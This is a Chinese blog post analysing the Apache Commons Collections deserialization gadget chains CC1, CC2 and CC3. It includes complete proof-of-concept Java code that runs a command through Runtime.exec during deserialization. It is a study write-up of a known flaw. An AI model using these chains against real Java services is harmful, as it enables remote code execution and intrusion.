前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Apache-Commons-Collections 反序列化分析

Apache-Commons-Collections 反序列化分析

作者头像
ConsT27
发布2022-03-15 20:55:20
9030
发布2022-03-15 20:55:20
举报
文章被收录于专栏:ConsT27的笔记

Apache-Commons-Collections 1

Transformer Map 链

RCE原理

我在网上找到了一则利用代码,虽然这个利用代码很粗浅,并没有CC链1的触发过程,但是对于这条链的原理还是可见一斑的。

代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"calc.exe"}),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
    }
}
TransformerMap类

TransformerMap类是造成这个漏洞的原因之一

TransformerMap是apacheCommonsCollections里提供的一个数据类型。它可以修饰一个Map类型的对象。当修饰过的Map添加新元素时,它会调用在decorate里声明好的Trasnformer类的transform方法并传入新添的键名或值名。

代码语言:javascript
复制
Map DecoratedMap = TransformedMap.decorate(Map,keyTransformer,
valueTransformer)

keyTransformer和valueTransformer分别指向不同的Transformer类。

Transformer类

我们看一下Transformer类

QQ截图20210217150055
QQ截图20210217150055

可以发现它只是一个借口,他的方法需要其他子类实现。 当TransformerMap在新添元素时就会调用decorate里设定好的Transformer类的transform方法。 它的接口实现类有以下几个。

ConstantTransformer

这个类主要的两个方法就是这俩了。

代码语言:javascript
复制
public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

没什么好说的,就是把传入的对象原原本本返回。

InvokerTransformer

也是两个重要方法

代码语言:javascript
复制
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

就是传入方法名,参数类型和参数,然后通过反射来执行这个方法

ChainedTransformer

也是两个重要方法

代码语言:javascript
复制
public ChainedTransformer(Transformer[] transformers) {
     this.iTransformers = transformers;
 }

 public Object transform(Object object) {
     for(int i = 0; i < this.iTransformers.length; ++i) {
         object = this.iTransformers[i].transform(object);
     }

     return object;
 }

就是把传入的多个Transfomer类的transformer方法依次执行,每个transformer方法执行后返回的对象会被当做下一次执行的时候传入的参数。

通过以上信息,我们就可以清晰的看懂上面的payload了。 先通过ConstantTransformer获得 Runtime类,再通过InvokerTransformer执行exec方法,然后通过ChainedTransformer将两个类串起来,让InvokerTransformer以ConstantTrasformer返回的Runtime类为参数执行exec方法,达到RCE的目的。

触发

触发,我们选择的地方是sun.reflect.annotation.AnnotationInvocationHandler的readObject方法(注意8u71以下才能有触发点,之后的版本已被修复)

QQ截图20210217150130
QQ截图20210217150130

触发点代码。 我们可以发现,它对传入的map的每一个value执行了setValue。

QQ截图20210217150142
QQ截图20210217150142

可以很明显的发现会对值进行transform方法。也就是相当于触发了一次Map.put()。接下来,就是payload构造时间了。

但是 AnnotationInvocationHandler 是内部类无法直接实例化,但它的父类InvocationHandler可以,我们可以通过反射得到 AnnotationInvocationHandler 构造方法,然后对其使用newInstance再向上转型为父类 InvocationHandler 。既然要获得对象,我们就应该关注一下它的构造方法。

代码语言:javascript
复制
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

要传入两个参数,var2不用说了就是我们传入的Map,var1呢?是Annotation类,即所有注释类的接口。我们必须在此处传入一个注释类才能使if判断为真,才能把我们的参数中的Map传入。 但是并不是所有注释类传进去都有效,注释类(实际上就是接口)必须有定义的方法才能正常触发反序列化。关于此点我们后面再详细谈谈。

因为再readObject方法里我们会执行**Map var3 = var2.memberTypes()**,我们看看memberTypes源码。

image-20211027185805731
image-20211027185805731

发现是返回构造方法中定义好的memberTypes属性。而这个memberTypes属性又和上一行的var2属性有关,var2属性又与getDecalredMethods有关…因此我才猜测 “注释类必须有定义的方法才能正常触发反序列化 “,实际结果确实如此。 目前找到的能够正常触发漏洞的注释类有 Target Retention SuppressWarnings .无一例外他们作为接口都定义了方法。而且在我翻阅一些参考文档后,发现确实是这样

另外一点需要注明的是,Runtime类没有继承Serialize接口,也就是说它不能被直接序列化。 也就是说如果我们在transformer链里想直接通过有*new ConstantTransformer(Runtime.\getRuntime*())**来获取Runtime对象时,会反序列化失败。 但是Class类是有继承Serialize接口的,我们可以通过transformer链和反射来在反序列化阶段逐步创建Runtime类,继而解决这个问题

总结一下几个坑点: 1.Runtime类不能被序列化 \2. AnnotationInvocationHandler 无法直接实例化,可通过反射获得对象 3.注意在实例化 AnnotationInvocationHandler 时要传入定义好方法的注释类 OK,以上知道了后就能试着写一下payload了(这个payload依旧不能正常执行,错误出处间代码注释,具体原因看下文)。

代码语言:javascript
复制
import java.io.*;
import java.lang.annotation.*;
import java.lang.reflect.*;
import java.util.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;

public class test2 {
    public static void main(String[] args){
        try {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{new String("getRuntime"),new Class[0]}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{new String("calc.exe")}),
            };
            ChainedTransformer chain = new ChainedTransformer(transformers);
            Map innermap = new HashMap();
            innermap.put("sc","b");  //不能执行的原因在这里,如果是put("value","a")就可以正常执行
            Map outmap = TransformedMap.decorate(innermap,null,chain);

            Class Annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor AnnotationCons = Annotation.getDeclaredConstructor(Class.class,Map.class);
            AnnotationCons.setAccessible(true);
            InvocationHandler InvocationHandler = (InvocationHandler) AnnotationCons.newInstance(Target.class,outmap);

            ObjectOutputStream a = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
            a.writeObject(InvocationHandler);
            a.close();
            ObjectInputStream b = new ObjectInputStream(new FileInputStream("a.bin"));
            b.readObject();
            b.close();
        }
        catch (Exception e){e.printStackTrace();}
    }

}

为什么不能执行,这原因与上面提到的“ 注意在实例化 AnnotationInvocationHandler 时要传入定义好方法的注释类 ”很有关联。 因为涉及JVM的一些东西,我们不会怎么去深究,就是浅浅的看一下,做出一些推测。

首先我们关注到 AnnotationInvocationHandler 的readObject。

QQ截图20210217150215
QQ截图20210217150215

接下来就是复杂的推理了,建议先把各方法的意义弄明白 发现必须要var7!=null才能正常触发反序列化漏洞,那么var7的来源是从(Map)var3中获得以(String)var6为键名的值。var6是var3中一项的键名。而var3的来源是(Annotation)var2的menberTypes,我们跟进这个方法。

QQ截图20210217150244
QQ截图20210217150244

那么var1就是AnnotationInvocationHandler的type属性了,而这个type属性在其构造方法中就定义好了,是传入的注释类。 也就是说var1就是我们在实例 AnnotationInvocationHandler 时传入的注释类。 结合以上流程,我们就可以知道这个过程是: 从 实例 AnnotationInvocationHandler 时传入的注释类 中获取最后一个方法,然后把它编入为一个HashMap(以下称为注释方法Map)的一个键名并给予值。在readObject时会遍历传入的Map,如果在传入的Map中找到了一项的键名在注释方法Map中存在(即 在传入的Map中找到了一项的键名与实例化时传入的注释类的最后一个方法同名),则if条件为真,攻击成功。 所以上面为什么put(“value”,任意)才能达成攻击的原因是, Target Retention SuppressWarnings 这三个注释类都有且只有一个方法名为value的方法。

QQ截图20210217150343
QQ截图20210217150343

分析完了。这个洞利用版本只能在8u71以前,比较古老无用。

总结

AnnotationInvocationHandler.readObject 会调用传入的map中每一个value的transformer方法,我们可以通过ConstantTrasformer和InvokerTransformer组合为一个ChainedTransformer来逐步还原Runtime类并调用其exec方法实现命令执行。

ConstantTransformer.transformer是返回传入的类,InvokerTransformer.transformer是通过反射对传入的方法名参数名等进行调用,ChainedTransformer.transformer是将传入的transformer方法按顺序执行,并将上一个方法执行结果做参数传递给下一个方法。

LazyMap链

RCE原理

LazyMap的获得方法和TransfromerMap差不多。

代码语言:javascript
复制
    Map innerMap = new HashMap();
    Map outerMap = LazyMap.decorate(innerMap, transformerChain);
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }

在对LazyMap使用get方法时,它会执行this.factory.transform(key),而this.factory.transform如果去跟进分析的话,实质上就是调用我们在decorate传进去的Transformer类。

触发

LazyMap的触发点也在 AnnotationInvocationHandler 中,但不是在readObject方法,而是在invoke方法。invoke方法中有一行

代码语言:javascript
复制
Object var6 = this.memberValues.get(var4);

其中this.memberVales是在构造方法中定义为传入的Map。

那么invoke方法要怎么才能触发呢?答案是动态代理。 熟悉动态代理的朋友肯定直到,invoke方法是动态代理中的一个特殊的方法,在代理类中无论执行什么方法,实质上都是在执行invoke方法。

那么接下来就是骚思路了: 我们通过反射和向上转型得到一个 AnnotationInvocationHandler(Class var1, Map var2) 对象。 构建一个Map的代理类,其第三个参数是刚刚得到的 AnnotationInvocationHandler 对象,再故技重施将其通过向上转型得到一个 AnnotationInvocationHandler 对象。当该对象反序列化执行readObjct方法时,会执行以下entryset方法

QQ截图20210217150359
QQ截图20210217150359

本质上来说,是对一个代理类执行了一下entrySet方法,即执行了代理类的invoke方法,又因为代理类的第三个参数填入的是 AnnotationInvocationHandler 对象,其内部已经写好了invoke方法,所以此处执行的代理类的invoke方法即 AnnotationInvocationHandler 对象的invoke方法,继而触发了get方法,继而触发了漏洞。这是一个很妙的地方

多说无益,整paylaod吧

代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class test2 {
    public static void main(String[] args) throws Exception {
            org.apache.commons.collections.Transformer[] transformers = new org.apache.commons.collections.Transformer[]{
                    // 包装对象
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
                            "getRuntime",
                            null,
                    }),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{
                            null,
                            null,
                    }),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{
                            "calc"
                    }),
            };

            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            Map innermap = new HashMap();
            Map outermap = LazyMap.decorate(innermap, chainedTransformer);

            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
            cons.setAccessible(true);
//妙处
            InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,outermap);//获得一个AnnotationInvocationHandler对象
            Map Prox = (Map) Proxy.newProxyInstance(outermap.getClass().getClassLoader(), outermap.getClass().getInterfaces(),handler);//创建一个Map的代理类,其代理方法为AnnotationInvocationHandler对象里的invoke方法
            InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class,Prox);  //将代理Map传入,当代理Map被执行任一方法时,执行invoke方法
//
            ObjectOutputStream a = new ObjectOutputStream(new FileOutputStream("a.bin"));
            a.writeObject(handler1);
            ObjectInputStream b = new ObjectInputStream(new FileInputStream("a.bin"));
            b.readObject();
    }
}

总结

目的就是为了执行AnnotationInvocationHandler 的invoke方法,我们通过实例化一个AnnotationInvocationHandler(A1) 类并在实例化时的参数中加入传入了LazyMap的AnnotationInvocationHandler(AP) 类的动态代理,在A1构造方法中会有一个AP.entryset的代码,从而触发的AP.invoke。

Apache-Commons-Collections 2

cc链2 主要是PriorityQueue和commons-collections-4.0 组件 造成的Gadget。

PriorityQueue 是一个用于大小排序的类,它会将传入的数值进行大小排序。

版本

CommonsCollections 4.0 需要有 javasist 依赖 JDK版本暂无限制

环境

pom.xml

代码语言:javascript
复制
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

利用链1

PriorityQueue +ChianedTransfomer+反射修改属性

代码语言:javascript
复制
ObjectInputStream.readObject()
            PriorityQueue.readObject()
            PriorityQueue.heapify()
            PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator();
              TransformingComparator.compare()
                  InvokerTransformer.transform()
                      Method.invoke()
                        Runtime.exec()

POC

代码语言:javascript
复制
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class Main {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc.exe"})});

        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }


}

直接跟着POC调试

我们根据利用链跟进到PriorityQueue.readObject

这里先循环调用readObject将反序列化结果放入queue数组,然后可以发现这里最后调用了一个heapify()方法,我们跟进。

这里的意思对我们来说便是,如果size大于1便调用siftDown方法处理queue数组。跟进siftDown

会发现此处会判断comparator是否存在,若存在则调用siftDownUsingComparator。链中是需要跟进siftDownUsingComparator方法。

siftDownUsingComparator里有个comparator.compare(x, (E) c),其中这个x是我们可控的,就是我们往queue中put的值。跟进compare方法

可以发现是调用了当前transformer指定的类的transform方法,而当前transform按照POC中来看便是ChainedTransformer chain,于是此处便会调用ChainedTransformer的transform方法,我们在ChainedTransformer中写入的命令就会被执行了。

这便是这个链的大体状况,但是这个POC中仍然有一些细节需要推敲。

POC分析 1

代码语言:javascript
复制
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);

queue.add(1);
queue.add(2);

这里向queue中add了两个元素,这里add了两个元素的意义是这样的:

在heapify会判断queue中的值是否大于1,只有大于1才会执行siftDown方法。

POC分析 2

代码语言:javascript
复制
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);

queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);

我们可以发现在POC此处在实例化PriorityQueue时并没有传入comparotor,而是在后面使用反射给comparator变量赋值。我们跟进queue.add便可一览究竟

add在实际上是调用了offer方法,跟进offer方法

可以发现这个offer方法也调用了siftUp这个方法

跟进后自然是来到此处,如果comparator存在它便会走上面的分支,调用transformer方法,走下面便是进行赋值操作。

假如此时comparator存在走了上面的分支,

便会在此行产生报错,这里的逻辑是将queue数组中的两个值进行transform处理然后进行大小比较以排序,但是这里两个transform方法返回的结果均为ProccessImpl对象,不能被compare方法调用进行大小比较,所以会产生报错。导致我们后面的序列化操作不能顺利执行,无法产生payload。

利用链2

链2用到了PriorityQueue +TemplatesImpl +InvokerTransformer和javassist技术。 javassist 可以用来动态修改java字节码,相关细节这里就不细说了,我的博客和网上均有大量文章。

代码语言:javascript
复制
ObjectInputStream.readObject()
            PriorityQueue.readObject()
            PriorityQueue.heapify()
            PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
              TransformingComparator.compare()
                  InvokerTransformer.transform()
                  TemplatesImpl.newTransformer()
                  TemplatesImpl.getTransletInstance()
                    EvilClass.newInstance()
                  
  

关于TemplatesImpl ,它也是7u21链中不可或缺的一个环节,它配合javassist起到任意类生成的作用,在该条链中可以再配合invokerTransformer来达到命令执行的目的。

POC

代码语言:javascript
复制
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Main {

    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator Tcomparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //cc.writeFile();
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "blckder02");
        setFieldValue(templates, "_class", null);

        Object[] queue_array = new Object[]{templates,1};
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,Tcomparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

TemplatesImpl 类生成

我们先来看一看TemplatesImpl 是如何进行类生成的。

首先TemplatesImpl类中有个方法defineTransletClasses,它的主要代码如下

代码语言:javascript
复制
private byte[][] _bytecodes = (byte[][])null;

private void defineTransletClasses() throws TransformerConfigurationException {
        if (this._bytecodes == null) {
        .....
        } else {
            TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader());
                }
            });

            try {
                int classCount = this._bytecodes.length;
                this._class = new Class[classCount];

                for(int i = 0; i < classCount; ++i) {
                    this._class[i] = loader.defineClass(this._bytecodes[i]);  \\将_bytecodes中的所有字节通过defineClass转化为一个类
                    Class superClass = this._class[i].getSuperclass();
                    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                        this._transletIndex = i;
                    } else {
                        this._auxClasses.put(this._class[i].getName(), this._class[i]);
                    }
                }
    }

也就是说通过这个方法可以将_bytecodes数组中的字节还原成一个类,存储到_class变量中。接下来如果我们能找到调用defineTransletClasses方法并执行了_class[].newinstance() 这样的的代码的方法,就能实例化从字节得到的类了,从而就能执行类中的静态代码块和构造函数了! 所以接下来我们需要去寻找这种方法。 通过搜索defineTransletClasses,我们找到了有如下三个方法调用了defineTransletClasses方法:

代码语言:javascript
复制
getTransletInstancegetTransletIndexgetTransletClasses

其中,getTransletInstance方法是唯一符合“调用了defineTransletClasses且有_class[].newinstance()”的方法,其代码如下

代码语言:javascript
复制
private Translet getTransletInstance() throws TransformerConfigurationException {
        ErrorMsg err;
        try {
            if (this._name == null) {
                return null;
            } else {
                if (this._class == null) {
                    this.defineTransletClasses();
                }

                AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance(); \\here,注意此处生成的类对象应该是AbstractTranslet或其子类
                translet.postInitialization();
                translet.setTemplates(this);
                translet.setServicesMechnism(this._useServicesMechanism);
                if (this._auxClasses != null) {
                    translet.setAuxiliaryClasses(this._auxClasses);
                }

                return translet;
            }

那么,getTransletInstance是一个private方法,我们不能直接调用它,在那里能去调用它呢?答案是newTransformer方法

代码语言:javascript
复制
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
    TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);  \\here
········
}

也就是说我们可以通过javassist动态控制_bytecodes属性的值,然后通过InvokerTransfomer调用TemplatesImpl.newTransfomer来把我们通过javassist得到的字节码实例化,在实例化的时候调用其构造函数。

POC分析

代码语言:javascript
复制
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator Tcomparator = new TransformingComparator(transformer);

这里是先获取InvokerTransformer的构造方法,然后向构造方法传入newTransformer来实例化一个InvokerTransformer方法。

代码语言:javascript
复制
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

这里是通过javassist动态实现了一个构造函数为执行计算器的类,将其转化为字节码保存,然后在实例化TemplatesImpl时传入其_bytecodes变量,这里还必须为_name赋值,_class我测试的时候也不用赋值,但是加上最好?我没有细跟。

代码语言:javascript
复制
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);


Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

然后通过反射向queue数组赋值,一个值为刚刚生成的TemplatesImpl对象,另一个值随意,总之这里得传入2个以上的值。 然后通过反射向size赋值,再然后通过反射向comparator赋值。 赋值完成后进行序列化操作。

Apache-Commons-Collections 3

CC3链大致上是CC1和CC2的缝合,中间一些细节有点不同(TrAXFilter,InstantiateTransformer)

LazyMap+TrAXFilter+InstantiateTransformer+TemplatesImpl

版本

commons-collections-3.1-3.2.1,JDK1.7

利用链

代码语言:javascript
复制
ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                            newInstance()
                                TrAXFilter#TrAXFilter()
                                TemplatesImpl.newTransformer()
                                         TemplatesImpl.getTransletInstance()
                                         TemplatesImpl.defineTransletClasses
                                         newInstance()
                                            Runtime.exec()

POC

代码语言:javascript
复制
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class Main {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);


        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);


        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
            outputStream.writeObject(handler);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

可以发现是ChianedTransformer+TemplatesImpl+LazyMap 缝合,不过ChianedTransformer内部有点和CC链1、2不同.

代码语言:javascript
复制
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
          new ConstantTransformer(TrAXFilter.class),
